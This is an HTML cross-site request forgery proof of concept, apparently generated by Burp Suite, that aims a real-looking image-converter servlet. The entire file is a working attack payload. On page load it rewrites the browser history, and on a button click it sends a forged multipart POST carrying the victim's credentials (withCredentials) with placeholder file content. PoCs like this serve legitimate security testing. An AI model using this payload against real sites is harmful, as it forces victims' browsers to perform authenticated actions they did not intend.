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<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/www.online-utility.org\/servlet\/ImageConverter", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------206860758214748693911873600863");
        xhr.withCredentials = true;
        var body = "-----------------------------206860758214748693911873600863\r\n" +
          "Content-Disposition: form-data; name=\"fname\"; filename=\"Logo_sstic_transp.png\"\r\n" +
          "Content-Type: image/png\r\n" +
          "\r\n" +
          "BLABLA\r\n" +
          "-----------------------------206860758214748693911873600863\r\n" +
          "Content-Disposition: form-data; name=\"totot\"\r\n" +
          "Content-Type: image/png\r\n" +
          "\r\n" +
          "titit\r\n" +
          "-----------------------------206860758214748693911873600863--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
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        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>